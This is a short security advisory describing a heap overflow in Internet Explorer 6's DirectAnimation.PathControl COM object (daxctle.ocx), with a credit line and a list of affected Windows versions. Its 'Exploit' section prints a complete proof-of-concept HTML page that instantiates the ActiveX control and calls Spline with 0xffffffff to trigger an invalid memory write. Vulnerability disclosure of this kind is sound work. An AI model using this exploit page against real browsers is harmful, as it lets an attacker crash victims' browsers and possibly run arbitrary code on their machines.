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Microsoft Internet Explorer is vulnerable to an heap overflow attack when it handles a DirectAnimation.PathControl COM object.

Credit:
The information has been provided by nop.
The original article can be found at:
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=19

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Vulnerable Systems:
* Windows 2000/XP/2003 Internet Explorer 6.0 SP1

When Internet Explorer handles an DirectAnimation.PathControl COM object (daxctle.ocx) \ Spline method, Setting the first parameter to 0xffffffff will triggers an invalid memory \ write, That way, an attacker may DoS and possibly could execute arbitrary code.

Exploit:
<!--
// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx

--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>

var target = new ActiveXObject("DirectAnimation.PathControl");

target.Spline(0xffffffff, 1);

</script>
</body>
</html>

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